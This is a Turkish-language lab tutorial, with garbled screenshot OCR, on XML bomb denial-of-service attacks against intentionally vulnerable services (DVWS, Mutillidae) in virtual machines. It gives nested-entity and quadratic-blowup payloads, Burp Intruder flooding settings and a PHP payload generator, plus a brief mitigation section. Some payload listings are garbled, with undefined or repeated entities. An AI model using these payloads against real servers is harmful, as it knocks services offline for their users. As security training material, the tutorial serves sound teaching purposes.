| dhana aite | Çalışma zamanı | |
| constalls | 0:00:46:54 | |
| | | |
| | 🔿 Daha az ayınıtı 🕲 Kaynak İzleyicisini Aç | |
| | | |
| | | |
| 📲 🛱 🌾 | 🔁 💽 🛼 🔀 😡 | \neg |
| | · · · · · · · · · · · · · · · · · · · | trl |
| | | - |

| | DVWS - Windows 1 | 10 Home Premi | ium x64 [R | unning] - (| Oracle VM | VirtualBo | x | | |
|----------------|--|---------------------|--------------|---------------|-------------|-----------|---------------|-------------------------|---------|
| File Machine | View Input Devices Help | | | | | | | | |
| 0 | | | | | | | | | |
| Geri | | | | | | | | | |
| Donuşu | | | | | | | | _ | |
| | Gorev Yoneticisi | | | | | | | - U | ^ |
| Bu Bilgisave 2 | slemler Performans Uvgulama germisi Ba | slangic Kullanicila | r Avrintilar | Hizmetler | | | | | |
| | chonnens oygenene geçinişi beş | | | - Martinet | | | | | |
| 2 | Ad Dur | um | %100 CPU | %95 Bellek | %60 Disk | %0 Aă | Güc kullanımı | Güc kullanımı. | |
| Mineseff | Userslandor (2) | | | | | | | , | ^ |
| Edge | Oyguamalar (2) | _ | | _ | | | | | - 1 |
| | > 🔯 Görev Yöneticisi | | %2,9 | 17,9 MB | 0,5 MB/sn | 0 Mb/sn | Çok düşük | Çok düşük | |
| | > 😥 xampp-control.exe (32 bit) (3) | | %4,1 | 1,6 MB | 1,1 MB/sn | 0,2 Mb/sn | Çok düşük | Çok düşük | |
| Chrome | Arka plan işlemleri (200) | | | | | | | | |
| | > 📧 Antimalware Service Executable | | %12,0 | 22,6 MB | 21,2 MB/sn | 0 Mb/sn | Düşük | Düşük | |
| 121 1 | 💊 Apache HTTP Server (32 bit) | | %1,8 | 11,3 MB | 4,8 MB/sn | 0 Mb/sn | Çok düşük | Çok düşük | |
| Control Panel | > 🔎 Arama | φ | 960 | 0 MB | 0 MB/sn | 0 Mb/sn | Çok düşük | Çok düşük | |
| _ | > 🔤 Başlat | | %0 | 0 MB | 0 MB/sn | 0 Mb/sn | Çok düşük | Çok düşük | |
| | > 🖶 Biriktirici Alt Sistemi Uygulaması | | %0 | 0 MB | 0 MB/sn | 0 Mb/sn | Çok düşük | Çok düşük | |
| paylasim | Command line performance m | | %0 | 0,7 MB | 0,4 MB/sn | 0 Mb/sn | Çok düşük | Çok düşük | |
| | Command line performance m | | %0,7 | 0,6 MB | 0,1 MB/sn | 0 Mb/sn | Çok düşük | Çok düşük | |
| . Record | Command line performance m | | %0 | 0,6 MB | 0,1 MB/sn | 0 Mb/sn | Çok düşük | Çok düşük | |
| dows.zip | Command line performance m | | %0 | 0,6 MB | 0,1 MB/sn | 0 Mb/sn | Çok düşük | Çok düşük | |
| | Command line performance m | | %2,0 | 0,7 MB | 0,1 MB/sn | 0 Mb/sn | Çok düşük | Çok düşük | ~ |
| | Daha az aurort | | | | | ndır | | | |
| | J | | | | | | | | |
| | | | | | | | | | |
| | | | | | | | | | |
| | 2 💽 🔚 🖸 😡 | | | | | | ^ 🛐 🛯 | € 4») 16:25 15.11.20 | 22 🖵 |
| | | | | | | | u 🗗 🖉 🗆 🔍 i | 🖣 🔯 🚫 💽 Rig | ht Ctrl |

Saldırı bu şekilde sürdüğü müddetçe hedef web sunucu kaynakları dolu kalacaktır ve erişim gelmeyecektir. Saldırı web sunucu kaynaklarını tükettiğinden web sunucu sanal makine sisteminde cpu tüketimi kaynaklı kitlenmeler meydana gelebilir. Saldırı devam ettikten bir süre sonra durdurulduğunda oldukça epey müddet sonra web sunucuya erişim geri gelecektir.

XML Bomb saldırısında küçük boyutlu bir istek ile büyük kaynak tüketimi yapılır. Çünkü talepteki payload ile exponantial (üstel) büyüme sağlayan bir kaynak tüketimi yapılmaktadır. Saldırıyı daha yüksek donanımlara sahip web sunucularda başarıyla uygulayabilmek için

- Xml bomb payload'unun entity'leri arttırılabilir,
- Eşzamanlı gönderilecek http talebi sayısı arttırılabilir.

XML bomb saldırısı Windows sistemlerde

Shift + ESC (Görev Yöneticisi)

penceresindeki Performans sekmesi ile takip edilebilir.

Not:

CPU ve RAM kullanım oranları Windows üzerine kurulu dvws web servis örneğinde başarıyla full'lenmiştir ve web sunucu servis dışı kalmıştır. Fakat aynı saldırı windows yerine linux üzerine kurulu dvws web servisine uygulandığında saldırı başarılı olamamıştır.

Açıklığın Önlemi

XML Bomb saldırıları enjekte edilecek entity'ler tanımlamak için <!DOCTYPE ... [...] etiketinden yararlanır. Dolayısıyla web servis sunucularını bu saldırılara karşı korumak için web sunucudaki xml parser'ın konfigürasyon ayarlarından bu etiketin kullanımı yasaklanmalıdır.

Alternatif olarak girdi denetleme uygulanarak kullanıcı taraftan gelen <!DOCTYPE ... [...] girdileri bloklanabilir. Böylece Xml Bomb saldırılarına karşı koruma sağlanabilir.

5.4.3 XML Bomb 2 (CWE-776, CAPEC-197)

XML Bomb saldırısını bir de XML bomb saldırılarına karşı korunaklı xml parser kullanan Mutillidae web servisine uygulayalım. Mutillidae web sevisi bu örnekte linux bir sistemde yer almaktadır.

Hedef Mutillidae web servisinde XML Bomb saldırılarına karşı entity seviye kısıtlaması (yani önlemi) mevcut olan ileri sürüm bir xml parser varken bu şartlar altında Xml Bomb saldırısı yaparak web sunucuyu servis dışı bırakma gösterilecektir.

| Kullanılan Materyaller | |
|----------------------------------|---|
| Ubuntu 18.04 LTS | // Fiziksel Makine |
| Burpsuite Pro - Kali Linux 2022 | // Saldırgan Sanal Makine |
| Mutillidae - Ubuntu 18.04 LTS VM | // Hedef Mutillidae Web // Servis Sanal Makine |

Not: Mutillidae kasıtlı zafiyetler içeren web uygulamasının Ubuntu 18.04 LTS Linux'a kurulumu için bkz. <u>EK > Mutillidae Web API'yi Linux'a (Ubuntu 18.04 LTS Dağıtımına)</u> <u>Kurma.</u>

Açıklığın Çözümü

Öncelikle mutillidae web servisin xml bomb zafiyetli sayfasına bir göz atalım.

OWASP 2017 -> A1 - Injection (Other) -> XML Entity Expansion -> XML Validator

| Activ | rities 🛛 🏮 Google Chrom | e * | | Prş 10:16 | ç 40) E ▼ |
|------------|---|-----------------------------|--|--|----------------------|
| - 🚍 | Alfaber Gall Niger | × C 192.168.19 | 0.69/mutillidae 🗙 👩 Zimbra: Taslaklar (12 |) × + | ✓ _ @ × |
| | \leftrightarrow \rightarrow \times \bigtriangleup M | lot secure 192.168.190.69 | /mutillidae/index.php?page=xml-validator.php | | 🍇 < 🖈 📍 👽 CE 🌧 🔲 🚯 E |
| | B Open B Dates (| B Coloritation 10.00 | in Gradi 🔒 Badawilan. 🔮 Bag | e lande 🔅 FC liber Street. 🔮 Gandaly 🎍 Welder and east. 🔮 destrikty Sector. 🛐 MELLY 47 | THE ACCONTRACT |
| | | | | WASP Mutillidae II: Keen Calm and Pwn On | |
| 9 | | | Vers | sion: 2.10.8 Security Level: 0 (Hosed) Hints: Enabled Not Logged In | |
| | | | Home Login/i | Register Toggle Hints Toggle Security Enforce TLS Reset DB View Log View Captured Data | |
| | OWASP 2017 > | | | XML Validator | |
| 9 | OWASP 2013 OWASP 2010 | Back | 쯭 Help Me! | | |
| -••< | OWASP 2007 | | Hints and Videos | | |
| 0 | Web Services > | | | | |
| 0 | Others > | | | Please Enter XML to Validate | |
| | Labs > | | | Example: <somexim><message>Helio wond</message></somexim> | |
| | Besources b | | | | |
| • | | | | XML | |
| E | Donate Want to Hein? | | | | |
| () | | | | Validate XML | |
| 2 | Video Tutorials | | | | |
| | | | | | |
| 0 | | | | | |
| | Announcements | | | | |
| | 12 | | | | |
| | Getting Started | | | | |
| | | | Browser: Mozilla/5.0 | (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 PHP Version: 7.2.24-0ubuntu0.18.04.13 | |
| | | | | | |
| | | | | | |
| | | | | | |
| | | | | | |
| | | | | | |

Görüldüğü gibi bir girdi alanı vardır. Bu girdi alanına girilecek xml verisi web sunucu tarafta parse edilip içerisindeki string verisi ekrana basılmaktadır. Örneğin test amaçlı örnek olarak verilen xml verisini textarea'ya girdiğimizde bize yanıt olarak örnek xml verisindeki string'ler dönecektir.

| 📉 📖 💼 🍃 🍁 🗉 v 1 2 3 4 🍕 🔮 🗈 | ु 🖸 (genmon)XXX 🜒 🌲 🖺 11:08 🖴 🕞 |
|--|-----------------------------------|
| 🔒 192.168.190.69/mutillidae 🗙 🔇 XML Entity Expansion 🛛 🗙 🕇 🕂 | ✓ ● ● 8 |
| ← → C 🔺 Not secure 192.168.190.69/mutillidae/index.php?page=xml-validator.php | < 🖈 🔺 🗖 😫 E |
| OWASP Mutillidae II: Keep Calm and Pwn On Version: 2.10.8 Security Level: 0 (Hosed) Hints: Enabled Not Logged In Home Login/Register Toggle Hints Toggle Security Enforce TLS Reset DB View Log View Captured Data | |
| OWASP2017 > XML Validator | |
| OWLSP 2813 OWLSP 2814 Back Help Me! | |
| 🗧 Hints and Videos | |
| others > Please Enter XML to Validate | |
| Lats Example: <somexml><message>Hello World</message>c/somexml></somexml> | |
| Documentation > (somexml>=message>Hello World | |
| Resources XML Donate XML Want to Help? Validate XML | |
| Video Tutorials XML Submitted <somexnl><message></message></somexnl> < | |
| Announcements Text Content Parsed From XML-Helio World | |
| Getting Started | |
| Browser: Mozilia/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/53 PHP Version: 7.2.24-0ubuntu0.18.04.13 | 7.36 |
| | |

| 📉 💷 💼 🍃 📦 (| □ v 1 2 3 4 K ● □ | (genmon)XXX 🌒 🌲 🖻 11:08 🛛 🖴 G- |
|----------------------------|---|--------------------------------|
| 🕴 192.168.190.69/mutil | lidae × 🛛 XML Entity Expansion × + | ✓ ● ● 8 |
| ← → C ▲ Not set | rure 192.168.190.69/mutillidae/index.php?page=xml-validator.php | < 🖈 🗯 🗖 😫 E |
| | WASP Mutillidae II: Keep Calm and Pwn On Version: 21.0.8 Security Level: 0 (Hosed) Hints: Enabled Not Logged In Home Login/Register Toggle Hints Toggle Security Enforce TLS Reset DB View Log View Captured Data | |
| OWASP 2017 | XML Validator | |
| OWASP 2013 | Back 🥮 Help Me! | |
| OWASP 2007 🕨 | Hints and Videos | |
| Web Services 🕨 | | |
| Others > | Please Enter XML to Validate | |
| Labs > Documentation > | Example: <somexin><inessage>neito wond<message></message></inessage></somexin> | |
| Resources | XML | |
| | CXML Submitted | |
| Video Tutorials | <somexml><message>Hello World</message></somexml> | |
| Announcements | | |
| Getting Started | Browser: Mozilla/5.0 (Windows NT 10.0: Win64: x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 | |
| the mouse pointer inside o | PHP Version: 7.2.24-0ubuntu0.18.04.13 | |

Mutillidae web servisinin bu sayfasında textarea kutusunun varlığı temsilidir. Sayfada bir girdi noktası vardırı temsil etmek için kullanılmaktadır. Normal şartlarda web servislerde girdi noktası bu şekilde bir arayüze sahip olmayacaktır ve arayüzü olmayan bir parametre girdi noktası olacaktır.

Şimdi test amaçlı XML Bomb payload'unu girdi noktasına girelim ve bir defalık gönderelim.

XML Bomb Payload'u:

| 📉 💷 💼 🍃 😫 🛙 | 🖢 v 📘 2 3 4 🛛 🌄 🕥 🗉 | | 🚺 🖸 (genmon)XXX 🌒 🌲 🖺 11:09 🗎 🕒 🕞 |
|---|--|--|-----------------------------------|
| 🕴 192.168.190.69/mutill | lidae 🗙 📀 XML Entity Expansion 🛛 🗙 🕇 🕂 | | ✓ ● ● 8 |
| ← → C ▲ Not sec | ure 192.168.190.69 /mutillidae/index.php?page=xml- | | < ☆ ≯ I ⊡ 8 : |
| OWASP 2017 🕨 | | XML Validator | |
| OWASP 2013 > OWASP 2010 > OWASP 2007 > Web Services > | Back Step Help Me! | | |
| Others > | | Please Enter XML to Validate | |
| Labs 🕨 | | Example: <somexml><message>Hello World</message></somexml> | |
| Documentation Resources | | <pre><??aml version=1.0*> </pre> <pre>cloce = cloce =</pre> | - |
| Donate Want to Help? | | <pre><!--NTTY iol2 *&iol1;&iol1;&iol1;&iol1;&iol1;&iol1;&iol1;&iol1;&iol1;&iol2;</pre--> <!--NTTY iol3 *&iol2;&iol2;&iol2;&iol2;&iol2;&iol2;&iol2;&iol2;&iol2;&iol2;&iol2;</pre--> <!--NTTY iol4 *&iol3;&i</td--><td></td></pre> | |
| Video Tutorials | | XML EWITY loi9 "&loi8;&loi</td <td></td> | |
| Announcements | | | · |
| Getting Started | | | |
| | - XMI Submitted | Validate XML | |
| | <pre><somexml><message>Hello World</message></somexml></pre> | :/somexml> | |
| | Text Content Parsed From XML Hello World | | |
| | Browser: Mozilla/5.0 (Wind | ows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/53 | 37.36 |
| the mouse pointer inside or | r press Ctrl+G. | | |

| 隆 🔲 🖻 🍃 🗳 🕒 v 📘 2 3 4 | 12 💿 🗉 | 🚬 🗖 (genmon)XXX 🌗 🌲 🗈 11:10 🏔 G- |
|--|---|--|
| 🚦 192.168.190.69/mutillidae 🗙 📀 XML Entity | Expansion × + | |
| ← → C ▲ Not secure 192.168.190.69/mutill | | < 🖈 🖬 🖪 😆 |
| OWASP 2010 Development of the second | Help Me! | 1 |
| Web Services > | | |
| Others > | | Please Enter XML to Validate |
| Labs 🕨 | Exa | nple: <somexml><message>Hello World</message></somexml> |
| Documentation > | | |
| Resources 🕨 | YMI | |
| | XML | |
| Donate | | |
| Want to Help? | | |
| NHL Cubmitted | | Validate XML |
| Video Tutorials | "?> lolz [<!ENTITY lol "lol</th <th>> <!--ELEMENT lolz (#PCDATA)--> <!--ENTITY lol1 "&lol3.6161.66161.66161.66161.66161.66161.6717 lol2</th--></th> | > ELEMENT lolz (#PCDATA) ENTITY lol1 "&lol3.6161.66161.66161.66161.66161.66161.6717 lol2</th |
| توادا:دۇرادا: تەزما:دۇراغ:دۇراغ:دۇراغ: ئۇراغ:دۇراغ:دۇراغ: ئۇراغ:دۇراغ:دۇراغ: ئۇراغ:دۇراغ:دۇراغ: ئۇراغ:دۇراغ:دۇراغ:دۇراغ: ئۇراغ:دۇراغ:دۇراغ:دۇراغ: ئۇراغ:دۇراغ:دۇراغ:دۇراغ: ئۇراغ:دۇراغ:دۇراغ:دۇراغ: ئۇراغ:دۇراغ:دۇراغ:دۇراغ: ئۇراغ:دۇراغ:دۇراغ:دۇراغ: ئۇراغ:دۇراغ:دۇراغ:دۇراغ: ئۇراغ:دۇراغ:دۇراغ:دۇراغ: ئۇراغ:دۇراغ:دۇراغ:دۇراغ: ئۇراغ:دۇراغ:دۇراغ:دۇراغ: ئۇراغ:دۇراغ:دۇراغ:دۇراغ: ئۇراغ:دۇراغ:دۇراغ:دۇراغ: ئۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇراغ: ئۇراغ:دۇرى:دۇرى:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇرى دۇراغ:دۇرى دۇرى:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇرى دۇرى:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇراغ:دۇرى دۇرى دۇرى:دۇرى دۇرى:دۇرى دۇرى دۇرى:دۇر:دۇرى دۇرى دۇرى:دۇرى:دۇرى دۇرى دۇرى دۇرى:دۇرى دۇرى دۇرى | ;&lol1&lol1&lol1&lol1&lol1&lol1& ;&lol3&lol3&lol3&lol3&lol3&lol3& ;&lol5&lol5&lol5&lol5&lol5&lol5& ;&lol7&lol7&lol7&lol7&lol7& | lol1;*> HTTTY lol3 "Glol2;Glol2;Glol2;Glol2;Glol2;Glol2;Glol2;Glol2;Glol2;Glol2;Glol2;Glol2;Glol2;Glol2;Glol3;<br Glol3;*> HTTTY lol3 "Glol2;Glol4;Glol4;Glol4;Glol4;Glol4;Glol4;Glol4;Glol4;Glol4;Flol4;Flol6<br Lol5;*> HTTTY lol3 "Glol4;Glol6;Glol6;Glol6;Glol6;Glol6;Glol6;Glol6;Glol6;Glol6;Slol6; > HTTTY lol8<br Lol5;*> HTTTY lol7 "Glol6;Glol6;Glol6;Glol6;Glol6;Glol6;Glol6;Glol6;Glol6;Slol6; > HTTTY lol8</th |
| -Error Message | | |
| 1 | | |
| Getting Started | | Failure is always an option |
| Line | 16 | |
| Code | 0 | |
| File | /var/www/html/mutillidae/xml-validator | php 💋 |
| Message | DOMDocument::LoadXML(): Detected an en | tity reference loop in Entity, line: 1 |
| Trace | >loadXML(' | cc, owwordsment.to, /var/www/Htmt/mill., 109, Hildy) #1 /var/www/Htmt/Hutititude/Amt-variation.php(189): DOMDCument- |
| Diagnotic Information | Could not parse XML because the input | is mal-formed or could not be interpreted. |
| | | Click here to reset the DB |
| Brow | vser: Mozilla/5.0 (Windows NT 10.0; Win | 54; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 PHP Version: 7.2.24-0ubuntu0.18.04.15 |
| the mouse pointer inside or press Ctrl+G. | | |

Görüldüğü gibi web servis xml hatası vermiştir ve entity için loop var demektedir. Bazı web servislerin ileri xml parser versiyonları xml bomb payload'undaki birbirlerini çağıran birden fazla entity tanımlamasını sadece belirli adete kadar izin vermektedir ve limitin yukarısındaki kullanımları yasaklamaktadır. Bu sayede xml bomb saldırılarını önlemektedirler. Bu nedenle bu web servise standart xml bomb payload'u ile saldırı gerçekleştirilemez. XML bomb saldırısını uygulayabilmek için xml parser'ın kaç adete kadar birbirini çağıran entity tanımlamasına izin verdiği keşfedilebilir.

Örneğin birbirlerini çağıran entity sayısını 1'den başlatıp arttıra arttıra göndermeyi denediğimizde

4'e kadar xml parser'ın sorun çıkarmayacağını görebiliriz. Birbirini çağıran 4 entity'li payload şu şekildedir:

Geçerli XML Bomb Payload'u:

<?xml version="1.0"?> <!DOCTYPE lolz [<!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol2 "&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;"> <!ENTITY lol3 "&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;">]> <lolz>&lol4;</lolz>



| 🛐 💷 🖿 🕞 🧆 | 🖸 y 1 2 3 4 🎼 🐠 🗅 🚺 🚺 👘 👔 🕐 🖸 |
|---|--|
| 192.168.190.69/mut | tillida × SXMLEntityExpansion × + ~ S |
| ← → C ▲ Not se | 2 2 2 18:190.69/mullidae/index.php?page=xml-validator.php |
| | OWASP Mutillidae II: Keep Calm and Pwn On Version: 2.10.8 Security Level: 0 (Hosed) Hints: Enabled Not Logged In Home Login/Register Toggle Hints Toggle Security Enforce TLS Reset DB View Log View Captured Data |
| OWASP 2017 🕨 | XML Validator |
| OWASP 2013 OWASP 2010 | Back 🥮 Help Me! |
| OWASP 2007 | Hints and Videos |
| Web Services 🕨 | |
| Others 🕨 | Please Enter XML to Validate |
| Labs 🕨 | Example: <somexmi><message>relio wond</message><somexm></somexm></somexmi> |
| Documentation Resources Donate Want to Help? | XML |
| Video Tutorials | Validate XML -XML Submitted -{xml versions"1.0">> lolz [<!ENTITY lol "lol" ELEMENT lolz (#PCDATA) ENTITY lol2 "&lol;&lol;" ENTITY lol3 "&lol2;&lol2;&lol2;" ENTITY lol4 "&lol3;&lol3;" }> |
| Announcements | Text Content Parsed From XML |
| Getting Started | |
| | Browser: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Apple/WebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 PHP Version: 7.2.24-0ubuntu0.18.04.15 |
| the mouse pointer inside o | or press Ctrl+G. |

Ancak 5nci entity tanımlandığında xml parser buna izin vermediğine dair hata verecektir.

Geçersiz XML Bomb Payload'u:

```
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol2 "&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;">
<!ENTITY lol3 "&lol3;&lol3;">
<!ENTITY lol4 "&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;">
]>
<lolz>&lol5;</lolz>
```

| 🛄 📄 🍃 🍪 🖺 | └ v 1 2 3 4 15 💿 🖸 | (genmon)XXX 🌗 🌲 🗈 11:12 🏛 😁 | |
|---|--|---|--|
| ← → C 🔺 Not sect | ure 192.168.190.69/mutillidae/index.php?page=xml-validator.php | | |
| | Version: 2.1.0.8 Security Leve Kome Login/Register / Togole Hints Toggie | ae II: Keep Calm and Pwn On bl: 0 (Hosed) Hints: Enabled Not Logged In Security [Enforce TLS] Reset DB View Log View Capitured Data | |
| OWASP 2017 | | XML Validator | |
| OWASP 2013 > OWASP 2010 > OWASP 2007 > | Back Generative Legender | | |
| Web Services 🕨 | Hints and videos | | |
| Others 🕨 | | Please Enter XML to Validate | |
| Labs 🕨 | Example: <somex< th=""><th>ml><message>Hello World</message></th></somex<> | ml> <message>Hello World</message> | |
| Documentation | </th <th>000**1.07*> 012 { 01 *1012 { 01 *1012 { 02012</th> | 000**1.07*> 012 { 01 *1012 { 01 *1012 { 02012 | |
| Video Tutorials | | | |
| Announcements | -XML Submitted <pre>cramt versions"1.0""> <idoctype "lol"="" <ientity="" [="" lol="" lolz=""> <ielenent l<br=""><lolz=velol=kr lolz"<="" pre=""></lolz=velol=kr></ielenent></idoctype></pre> | Validate XML olz (#PCDMTA)> < ENTITY lol4 "&lol&lol"> ENTITY lol3 "&lol2;&lol2;" ENTITY lol4 "&lol3;&lol3;" >> | |
| Getting Started | Text Content Parsed From XML | | |
| Browser: Mozilla/5.0 (Windows NT 10:0; Win64; x64) AppleWeb/kiti573.736 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 PHP Version: 7.2.24-0ubuntu0.18.0.4.15 | | | |
| he mouse pointer inside or | r press Ctrl+G, | | |

| in 🔁 🕹 📼 🔁 | ■ | 📙 🖾 (genmon)XXX 🌗 🌲 🖬 11:12 🖴 🕞 | | |
|---|--|--|--|--|
| 🛔 192.168.190.69/mutilli | lidae 🗴 📀 XML Entity Expansion 🛛 🗙 🕇 🛨 | ✓ ● ● 8 | | |
| ← → C ▲ Not secu | rure 192.168.190.69 /mutillidae/index.php?page=xml-validator.php | < 🖈 🛦 🗖 😂 🗄 | | |
| OWASP 2017 | XML Validator | | | |
| OWASP 2013 | | | | |
| OWASP 2010 | Back W Help Me! | | | |
| OWASP 2007 | Hints and Videos | | | |
| Web Services 🕨 | | | | |
| Others > | Please Enter XML to Validate | | | |
| Labs 🕨 | Example: <somexml><message>Hello World</message><th>nexml></th></somexml> | nexml> | | |
| Documentation + | | | | |
| Resources > | VMI | | | |
| | XML | | | |
| Donate Monte Distance | | | | |
| want to Help? | | | | |
| | ~XML Submitted | | | |
| Video Tutorials | <pre>constant"Lot":Action="Lot":Action="Lot": Constant Co</pre> | | | |
| <u> </u> | | | | |
| Announcements | Error Message | | | |
| | Endluren in slugure an ention | | | |
| 1 | Line 16 | | | |
| Getting Started | Code 0 | Code 0 | | |
| | File /var/www/html/mutillidae/xml-validator.php 2 | | | |
| | Message DOMDocument::loadXML(): Detected an entity reference loop in Entity, line: 1 | | | |
| | Trace #0 [internal function]: HandleXmlError(2, 'DOMDocument::lo', '/var/www/html/m', 189, Array | <pre>/) #1 /var/www/html/mutillidae/xml-validator.php(189): DOMDocument-</pre> | | |
| | Diagnotic Information Could not parse XML because the input is mal-formed or could not be interpreted. | | | |
| | Click here to reset the DB | | | |
| | | | | |
| Browser: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 PHP Version: 7.2.24-Oubuntu0.18.04.15 | | | | |
| the mouse pointer inside or | r press Ctrl+G. | 2 🕞 🕸 📾 🐨 🔁 | | |

Dolayısıyla hedef web servisin xml parser'ında birbirlerini çağıran entity limiti 4'müş diyebiliriz. XML bomb payload'unu 4 adet birbirini çağıran entity ile yaptığımızda tekrarlı olarak gönderme sonucu mutillidae web servisini servis dışı bırakmayı deneyebiliriz.

Şimdi birbirini çağırmada maksimum 4 entity limitli xml parser'a karşı saldırı deneyelim.

a) Saldırıyı kısa sürede başarıya ulaştırabilmek için Mutillidae web servisinin kurulu olduğu sanal makinanın donanımsal özelliklerini

1 CPU

512 MB Ram

şeklinde düşürelim.

b) Ardından Kali Linux sanal makinesinden XML Bomb zafiyetli mutillidae web servisi görüntüleyelim ve textarea girdi noktasına geçerli xml bomb payload'unu girelim.

Geçerli Xml Bomb Payload'u:

<?xml version="1.0"?> <!DOCTYPE lolz [<!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol2 "&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;"> <!ENTITY lol3 "&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;">]> <lolz>&lol4;</lolz>

- c) Payload'u submit butonu ile gönderelim ve Burpsuite Pro ile isteği yakalayalım.
- d) İsteği Intruder'a gönderelim.
- e) Intruder sekmesinde sırasıyla şu adımları takip edelim:

i) Intruder->Positions->Clear \$

ii) Intruder->Payloads->Payload Type->Null Payloads

iii) Intruder->Payloads->Payload Options->Continue Indefinitely

iv) Intruder->Resource Pool->Name=XmlBombDoS2 & Tick Maximum concurrent request: 10

v) Intruder->Options->Attack Results->Untick Store Requests & Untick Store Responses & Tick Use denial of service mode (no result)

f) Intruder'da Start Attack ile paketi tekrarlı olarak peşisıra gönderelim.

Kali Linux'da web tarayıcıda mutillidae web servise erişimler bu sırada kontrol edilir. Erişimler anlık gelebiliyor ve sonradan tekrar gidiyor. Sonuç olarak 4 seviyeli bir xml bomb payload'u web sunucuyu kalıcı olarak devirmek için yeterli gelmemiştir.

XML parser'ın birbirini çağıran entity limitine takılmaksızın yine hedef web servis sunucusunun kaynakları tüketilebilir ve web sunucu servis dışı bırakılabilir. Bunun için birbirini çağıran entity'ler yerine tek bir entity'nin tanımlı olduğu yatay bir şekilde büyüyen şu payload

kullanılabilir:

Bu payload'daki x entity'sine değer olarak yukarıdaki gibi 100KB büyüklüğünde 1111 yığını girilebilir ve <node> düğümüne ise 30 bin adet entity girilebilir. 111 yığınını 100KB kadar yapmak için

https://javainuse.com/bytesize

adresinden kopyala yapıştır ile 1111 'leri çoklayarak 100KB'ye kadar arttırabiliriz. Entity çağırma düğümündeki &x; entity'lerini 30 bin kadar yapmak için ise şu php script'inden yararlanabiliriz:

```
deneme.php
<?php
$string = "";
for ($i = 0; $i <= 30000; $i++) {
    $string = $string . "&x;";
}
echo $string;
?>
```

Bu script'in web tarayıcı ekranına bastığı 30 bin adet &x; verisini kopyalayıp payload'a yapıştırabiliriz. Payload bu şekilde hazır hale geldikten sonra sorunsuzca xml parser tarafından çalıştırılıyor mu kontrol etmek için zafiyetli mutillidae web servisinde bir defalık gönderimi denenir. Yani web arayüzündeki textarea'ya payload girilip bir defalığına gönderilir.

Payload gönderildiğinde "entity reference loop detected" hatası gelecektir. Payload'un işlevsel olarak çalışabilmesi ve xml parser'ın gelen veriyi ele alıp okuma yaparak cpu ve ram kaynaklarını tüketmesi için xml parser'ın verdiği bu kısıtlamayı atlatmamız gerekmektedir. Bunun için x entity'sindeki 1111 yığını "entity reference loop" hatası vermeyene kadar göz kararı kabaca yarı yarıya sürekli indirerek azaltabiliriz. Biraz fazla minimalist yaklaşarak bu demo için 1111 yığını gözle sayılabilecek adete düşürülmüştür ve ortaya şu payload çıkmıştır:
<node>&x;&x;&x;&x;&x;:... [30000 adet] ... &x;&x;&x;</node>





En nihayetinde bu payload arayüzdeki textarea'ya girildiğinde zafiyetli xml parser'ın entity kısıtına takılmaz ve hatasızca çalışır. Böylece xml parser gelen xml verisini ele alır, ve string'leri

cımbızlayarak ekrana basar.

| 🔁 💷 🖻 🜛 🧆 [| | (genmon)XXX 🌗 🌲 🖬 | 15:57 🗎 🔒 G |
|---|---|--|-------------|
| H = 192.168.68.111/mutilida ← → C | Be: × + + ○ A 192.168.68.111/mutillidae/index.nha?aaae=xml-validator.nha | ¢ | ∞ = |
| 🛰 Kali Linux 🔗 Kali Tools | Is 🚊 Kali Docs 🖹 Kali Forums 🐟 Kali NetHunter 🛸 Exploit-DB 🛸 Google Hacking DB 🧃 OffSec | | - |
| | 🛶 OWASP Mutillidae II: Keep Calm and Pwn On | | |
| | Version: 2.10.8 Security Level: 0 (Hosed) Hints: Enabled Not Logged In Home Login/Register Topole Hints Topole Security Enforce TLS Reset DB View Log View Contured Data | | |
| OWASP 2017 → | XML Validator | | |
| OWASP 2013 → | Back 🗳 Help Me! | | |
| OWASP 2007 > | | | |
| Web Services > | | | |
| Labs > Documentation > Resources > | Example: <somerni><messae></messae></somerni> | | |
| Want to Help? | enodebar, jan jak jak jak jak jak jak jak jak jak jak | | |
| Announcements Getting Started | Browser: Movilla/5.0 /X11: Linux x86.64: pr:01.0) Garko/20100101 Eirafox/01.0 | | |
| | Browser: Mozilia/S.U (X11; Linux X8b_04; TV:91.0) Geck0/20100101 Firefox/91.0 PHP Version: 7.2.24-0ubuntu0.18.04.13 | | |
| | | | |
| 📉 💷 💼 🍃 🧼 🛙 | Erv <u>1</u> 2 3 4 <u>→</u> E ae× + | genmon)XXX 🌒 🌲 🔋 | 15:58 A 🖨 G |
| $\leftarrow \rightarrow \mathbf{C}$ | ◯ 👌 192.168.68.111/mutillidae/index.php?page=xml-validator.php | ☆ | ⊚ ≡ |
| | | | |
| OWASP 2017 → OWASP 2013 → | | | |
